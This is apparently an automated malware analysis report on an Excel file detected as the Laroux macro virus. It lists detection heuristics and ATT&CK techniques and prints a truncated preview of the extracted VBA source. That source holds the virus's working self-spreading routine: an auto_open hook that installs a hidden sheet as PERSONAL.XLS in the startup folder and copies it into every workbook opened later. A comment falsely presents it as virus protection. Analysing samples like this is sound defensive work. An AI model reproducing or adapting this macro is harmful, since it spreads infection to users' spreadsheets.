MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is identified as malicious by ClamAV with the signature Xls.Trojan.Laroux-30. It contains a VBA macro with an Auto_Open subroutine, which is a common technique for executing malicious code upon opening the document. The macro attempts to save itself as PERSONAL.XLS in the startup path, indicating an attempt to establish persistence or facilitate further execution.
Heuristics 3
-
ClamAV: Xls.Trojan.Laroux-30 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Trojan.Laroux-30
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Open macro high OLE_VBA_AUTOAuto_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5877 bytes |
SHA-256: 5d6658707173ecdd2a39ce5c4d8f44664b4b42ef6d8aba2479f853db7dd44566 |
|||
|
Detection
ClamAV:
Xls.Trojan.Laroux-30
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Program"
'
' This macro program for virus protection & Schedule control program
' by Burinthorn Thong-o.
'
'
'This part for declaration globle variable
'
Dim First_col, Last_col As Integer
Const start_row = 22
Const finish_row = 66
Const start_col = 18
Const finish_col = 50
'
'end section
'
Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
Select Case whichfile
Case 10
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
Sheets("Program").Visible = True
Sheets("Program").Select
Sheets("Program").Copy
With ActiveWorkbook
.Title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = ""
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs Filename:=Application.StartupPath & "/" & "PERSONAL.XLS", _
FileFormat:=xlNormal, password:="", writerespassword:="", _
ReadOnlyRecommended:=False, CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("Program").Visible = False
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "personal.xls!check_files"
Case 1
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "Program" Then
Workbooks("PERSONAL.XLS").Sheets("Program").Copy before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).Sheets("Program").Visible = False
Else
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "personal.xls!check_files"
Case Else
End Select
End Sub
Sub C_Paint()
Attribute C_Paint.VB_ProcData.VB_Invoke_Func = " \n14"
Selection.Interior.ColorIndex = xlNone
Selection.Font.ColorIndex = 0
With Selection.Borders(xlRight)
.Weight = xlThin
.ColorIndex = xlAutomatic
End With
End Sub
Function Get_rng(Pmt)
Attribute Get_rng.VB_ProcData.VB_Invoke_Func = " \n14"
Set Get_rng = Application.InputBox(prompt:=Pmt, _
Title:="Input Range Dialoque!", Type:=8)
End Function
Sub Underline()
Attribute Underline.VB_ProcData.VB_Invoke_Func = " \n14"
ActiveCell.Offset(1, 3).Font.Underline = xlDouble
End Sub
Function actv_sheet(sht)
Attribute actv_sheet.VB_ProcData.VB_Invoke_Func = " \n14"
If Not (Worksheets(sht).Activate) Then
Worksheets(sht).Select
End If
End Function
Function Begin_col(Rw) As Integer
Attribute Begin_col.VB_ProcData.VB_Invoke_Func = " \n14"
Dim Counter As Integer
Counter = 1
Do While (Cells(Rw, Counter).Interior.ColorIndex = xlNone)
Counter = Counter + 1
If Counter > 49 Then
Exit Do
End If
Loop
Begin_col = Counter
If Begin_col < First_col Then
First_col = Begin_col
End If
End Function
Function End_col(Rw, Beg)
Attribute End_col.VB_ProcData.VB_Invoke_Func = " \n14"
Dim i As Integer
For i = Beg To 50 Step 1
If Cells(Rw, i).Interior.ColorIndex = xlNone Then
Exit For
End If
End_col = i
Next i
If End_col > Last_col Then
Last_col = End_col
End If
End Function
Function Put_on(Rw, fag)
Attribute Put_on.VB_ProcData.VB_Invoke_Func = " \n14"
Dim Beg_time, End_time As Integer
If Not (Cells(Rw, 5
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.